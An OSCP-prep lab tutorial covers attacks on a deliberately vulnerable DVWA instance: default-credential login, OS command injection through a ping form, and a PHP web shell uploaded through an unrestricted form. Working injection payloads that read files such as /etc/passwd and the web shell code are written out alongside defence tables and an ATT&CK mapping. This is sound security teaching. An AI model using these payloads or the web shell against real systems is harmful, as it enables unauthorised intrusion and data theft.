Hands-On OSCP Prep Series · Lab 5

DVWA: Brute Force, Command Injection
& File Upload Attacks

A complete step-by-step lab using the Damn Vulnerable Web Application (DVWA) to practise three essential attack techniques: brute-forcing a login form, injecting OS commands through a web input, and uploading a malicious PHP file — all in a safe, authorised environment.

⏱ 45 Minutes
📶 Beginner–Intermediate
🛠 DVWA · Kali Linux
💥 3 Attack Types
📅 April 2026
👤 Dr Pritam Gajkumar Shah
01

Lab Overview

📋 Lab Details

Lab Number
Lab 05
Platform
DVWA (Damn Vulnerable Web Application)
Target URL
https://ausjournal.com/ctf1/dvwa-naps/
Attack Types
Brute Force  Command Injection  File Upload
Security Level
Low (intentionally vulnerable)
Tools Used
Web Browser, Burp Suite (optional), Kali Linux
Duration
~45 minutes
Author
Dr Pritam Gajkumar Shah — AusJournal

In this lab we explore three of the most commonly seen vulnerability categories in the real world. Each of these regularly appears in the OWASP Top 10 and in OSCP-style penetration testing exams. By the end of this lab you will understand how attackers exploit these weaknesses and — just as importantly — how defenders can stop them.

  • Understand what a brute force attack is and successfully log in to DVWA by guessing the correct password
  • Exploit a command injection vulnerability to run system commands on the server
  • Upload a PHP web shell through an unrestricted file upload form
  • Recognise the MITRE ATT&CK techniques associated with each attack
  • Describe the correct defence for each vulnerability type
⚠️
Authorised Use Only

This lab must only be performed on the DVWA instance you have been given permission to use. Never attempt these techniques against any real website or system without explicit written authorisation. Unauthorised access is illegal in Australia and most countries worldwide.

02

What is DVWA?

DVWA (Damn Vulnerable Web Application) is a free, open-source PHP/MySQL web application that is deliberately built full of security holes. It was created so that cybersecurity students and professionals can practise common web attack techniques in a safe, legal environment without risking real systems.

🔐 Brute Force

Trying many username/password combinations one after another until the correct one is found. Attackers use wordlists (e.g., rockyou.txt) or tools like Hydra and Burp Suite Intruder to automate this process at high speed.

💉 Command Injection

When a web application passes user input directly to a system shell (e.g., ping [input]) without sanitising it, an attacker can append extra OS commands using shell operators like ;, &&, or |.

📎 File Upload

A server that allows any file type to be uploaded can be abused to host a PHP web shell. Once uploaded, the attacker visits the file's URL in a browser to execute arbitrary commands on the server.

💡
DVWA Security Levels

DVWA has four security levels — Low, Medium, High, and Impossible. This lab uses Low, where no defences are in place. After completing each exercise, try switching to Medium and High to see how the application tries to protect itself!

03

Part 1 — Brute Force Login Attack

The Brute Force module in DVWA presents a simple login form. Because the application does not lock out accounts after failed attempts and does not use CAPTCHA, we can try many passwords until we find the right one. In this exercise we will manually identify the correct credentials.

Step 1 — Open the Brute Force Module

Log in to your DVWA instance and click Brute Force in the left-hand menu. You will see a basic login form with a Username and Password field.

DVWA Brute Force login form
Figure 1.1 — The DVWA Brute Force module presents a straightforward login form. Notice there is no CAPTCHA, no account lockout, and no rate-limiting — a perfect target for automated or manual password guessing.

Step 2 — Try Common Credentials

DVWA ships with a set of default credentials. In a real penetration test you would use a tool like Burp Suite Intruder or Hydra with a wordlist. For this exercise, try the username admin with the password password — one of the most common default credential pairs in the world.

Payload — Default Credentials to Try
# Common DVWA default credentials
Username: admin
Password: password

# Other common defaults to try:
admin / admin
admin / 123456
user  / user

Step 3 — Successful Login

After entering admin and password, click the Login button. The page will refresh and display the message "Welcome to the password protected area admin" — confirming that the brute force attack (or in this case, a single correct guess) was successful.

DVWA Brute Force successful login
Figure 1.2Login successful! The message "Welcome to the password protected area admin" confirms that the credentials admin / password worked. This is a classic example of a weak default password that was never changed.
What Just Happened?

The application accepted our login because it stores the password in plain text (or a weak hash) in the database and performs no account lockout. A real attacker with a tool like Hydra could test thousands of passwords per minute against a form like this.

How to Defend Against Brute Force

DefenceHow It Helps
Account LockoutLock the account for a period after 5–10 failed attempts, stopping automated tools
CAPTCHAForces a human check that automated scripts cannot easily pass
Multi-Factor Auth (MFA)Even if the password is guessed, a second factor blocks the attacker
Strong Password PolicyRequire length ≥ 12 chars, mix of upper/lower/numbers/symbols
Rate LimitingBlock or slow down IPs that submit many login requests in a short time
04

Part 2 — Command Injection

The Command Injection module asks you to enter an IP address to ping. The server takes your input and passes it directly to the OS-level ping command — like this: ping -c 4 [your input]. Because the input is never sanitised, we can "escape" out of the ping command and run any OS command we like.

Step 1 — Test Normal Ping Behaviour

First, enter a normal IP address to see how the ping works. Type 127.0.0.1 in the input box and click Submit. You should see the normal ping output showing 4 packets transmitted and 0% packet loss.

DVWA Command Injection normal ping to 127.0.0.1
Figure 2.1 — Normal ping to 127.0.0.1 (localhost). The server runs the ping command and displays the output on the page. This confirms the input is being passed to the OS. The next step is to inject additional commands after the IP address.

Step 2 — Inject a Second Command (whoami)

Now we use the semicolon operator ; to append a second command after the ping. The semicolon tells the shell: "after the first command finishes, run the next one". Enter the following in the IP address field:

Command Injection Payload
# Inject whoami after the ping to identify the server user
127.0.0.1 ; whoami

# Other useful operators:
127.0.0.1 && whoami   # runs whoami only if ping succeeds
127.0.0.1 |  whoami   # pipes ping output to whoami

Submit the payload. At the bottom of the ping output, the server will reveal the username of the process running the web server — for example ausjournal33 or www-data.

DVWA Command Injection with whoami output showing ausjournal33
Figure 2.2 — The injected ; whoami command executes successfully. After the ping output, the server returns ausjournal33 — the username of the web server process. This confirms we have Remote Code Execution (RCE) on the server.

Step 3 — Read a File from the Server

With confirmed RCE, we can now read files on the server. Navigate to the CTF flag stored in the home directory by injecting a cat command. Enter the following payload:

Command Injection — Read a File
# Read a specific file from the server
8.8.8.8 ; cat /home/ausjournal33/public_html/flag.txt

# Other useful recon commands:
127.0.0.1 ; ls -la /home          # list home directory
127.0.0.1 ; cat /etc/passwd       # read user accounts
127.0.0.1 ; uname -a             # OS version info
DVWA Command Injection reading a flag file from the server
Figure 2.3 — The payload 8.8.8.8 ; cat /home/ausjournal33/public_h... is submitted. The server pings 8.8.8.8, then reads the flag file and prints its contents in the output — revealing BIT325{CMD-5E2A8}. This is the CTF flag hidden on the server.
🏁
CTF Flag Found!

The flag BIT325{CMD-5E2A8} was retrieved directly from the server's file system using command injection. No special tools were needed — just a semicolon and a cat command entered into a web form.

How to Defend Against Command Injection

DefenceHow It Helps
Input ValidationOnly allow valid IP address characters (digits and dots). Reject semicolons, pipes, &, etc.
Avoid Shell CallsUse built-in language functions (e.g., PHP's net_ping()) instead of calling OS commands
Least PrivilegeRun the web server as a low-privileged user so injected commands can't access sensitive files
Web Application FirewallA WAF can detect and block payloads containing shell operators
05

Part 3 — File Upload Vulnerability

The File Upload module allows users to upload a file to the server. On the Low security level, the application does no validation at all — it will accept any file type, including PHP scripts. An attacker can upload a PHP web shell and then browse to its URL to run commands on the server.

Step 1 — Navigate to File Upload

Click File Upload in the left-hand DVWA menu. You will see a simple file browser input and an Upload button.

Step 2 — Create a PHP Web Shell

On your Kali Linux machine, create a file called shell.php with the following content. This is the simplest possible PHP web shell — it takes a URL parameter called cmd and passes it to the system() function, which executes it on the server.

PHP — Minimal Web Shell (shell.php)
<?php
// Simple PHP web shell for educational use
// Usage: shell.php?cmd=whoami
system($_GET['cmd']);
?>
💡
Why Does This Work?

PHP is a server-side language. When the web server sees a .php file, it executes the code inside it rather than sending it to the browser. By uploading our PHP shell, we are essentially placing a remote control panel on the server.

Step 3 — Upload the Shell

Click the Browse button on the File Upload page and select your shell.php file. Click Upload. The server will respond with a success message similar to:

Server Response After Upload
../../hackable/uploads/shell.php succesfully uploaded!

This tells us the exact path where the file was saved on the server.

Step 4 — Execute Commands via the Web Shell

Now visit the uploaded shell in your browser by navigating to the uploads directory. Replace [dvwa-host] with your DVWA URL:

Accessing the Web Shell
# Basic test — who is running the web server?
https://[dvwa-host]/dvwa-naps/hackable/uploads/shell.php?cmd=whoami

# Read the passwd file
https://[dvwa-host]/dvwa-naps/hackable/uploads/shell.php?cmd=cat+/etc/passwd

# List all files in the web root
https://[dvwa-host]/dvwa-naps/hackable/uploads/shell.php?cmd=ls+-la+/var/www/html
What Just Happened?

We uploaded a PHP file, and the server executed it. This is Remote Code Execution via File Upload. In a real-world attack, an attacker would use a more sophisticated reverse shell payload (e.g., a Meterpreter payload from Metasploit) to gain an interactive shell session back to their machine.

How to Defend Against File Upload Attacks

DefenceHow It Helps
Whitelist File TypesOnly allow specific extensions (e.g., .jpg, .png) and validate MIME type server-side, not just the extension
Rename Uploaded FilesGive uploads a random name. This stops the attacker knowing the URL to visit
Store Outside Web RootSave uploaded files in a directory that is not accessible via a browser URL
Disable PHP ExecutionConfigure the web server to not execute PHP (or any server-side code) in the uploads folder
Antivirus / File ScanningScan all uploaded files for known malware signatures before saving them
06

MITRE ATT&CK Mapping

The MITRE ATT&CK framework is a global knowledge base of adversary tactics and techniques. Security professionals use it to describe attacks in a standard language. Here is how today's lab maps to ATT&CK:

T1110
Brute Force — Trying many credential combinations to guess a valid account password
T1059.004
Unix Shell — Executing OS commands through a vulnerable web application using shell injection
T1190
Exploit Public-Facing Application — Exploiting the file upload function to place a malicious file on the server
T1505.003
Web Shell — Uploading and using a PHP web shell for persistent server access and command execution
T1083
File and Directory Discovery — Using ls and cat commands to explore the server's file system
07

Defence Summary

Each attack in this lab exploits a missing defence. Here is a quick summary of what a secure application would do differently:

BF
Brute Force → Implement MFA + Account Lockout + CAPTCHA
No amount of password guessing works if the account locks after 5 attempts and a second factor is required for login.
CI
Command Injection → Validate Input + Avoid OS Calls + Use Least Privilege
Reject any character that is not a digit or dot in an IP address field. Better still: use a language-native ping library and never call the OS shell directly.
FU
File Upload → Whitelist + Rename + Store Off Web Root + Block Execution
Only accept image files, rename them randomly, store them outside the web root, and ensure the web server never executes files in the upload directory.
📖
Further Reading — OWASP

All three vulnerabilities covered today appear in the OWASP Top 10. Visit owasp.org to read the official guidance, and switch DVWA to Medium and High security levels to see how defences complicate each attack.

08

Acknowledgements

A special thank-you to the talented and dedicated students who worked through this lab and contributed to its development. Your curiosity and hard work make this series possible. 🎓

👨‍💻
Bishal Adhikari
Lab Participant
👩‍💻
Jenisha Shrestha
Lab Participant
👨‍💻
Rafael Oliveira
Lab Participant
👨‍💻
Reden Zapanta
Lab Participant
👨‍💻
Rishan Tamrakar
Lab Participant
👨‍💻
Nimkant Bista
Lab Participant
👨‍💻
Suman KC
Lab Participant
👨‍💻
Love Thapa
Lab Participant
👨‍💻
Amrit Giri
Lab Participant
👨‍💻
Bikram Karki
Lab Participant
👨‍💻
Suman Tamang
Lab Participant
👨‍💻
Dhan Bahadur Saru
Lab Participant
👨‍💻
Kiran Shrestha
Lab Participant
👨‍💻
Saksham Dhamala
Lab Participant
👨‍💻
Lekh Thapa
Lab Participant
👨‍💻
Ritik Roy
Lab Participant
👨‍💻
Jasmine Karki
Lab Participant
👨‍💻
Heman Shrestha
Lab Participant
🎓
Dr Pritam Gajkumar Shah
Cybersecurity Academic & Researcher | PhD Information Sciences
AusJournal & CyberPritam  |  Australian Higher Education

Dr. Pritam Gajkumar Shah is an Australian-based computer science academic and cybersecurity specialist with extensive experience in teaching, research, and curriculum development in information technology and cyber security. He holds a Ph.D. in Information Sciences and Engineering from the University of Canberra, where his research focused on elliptic curve cryptography for resource-constrained wireless sensor networks. He is the founder of CyberPritam, a global cybersecurity learning platform that has provided free practical training to thousands of international students, and AusJournal, an academic publishing initiative supporting research dissemination and technical education. His work focuses on practical, lab-oriented cybersecurity education using tools such as Kali Linux, Metasploit, DVWA, Burp Suite, Wireshark, and cloud security environments.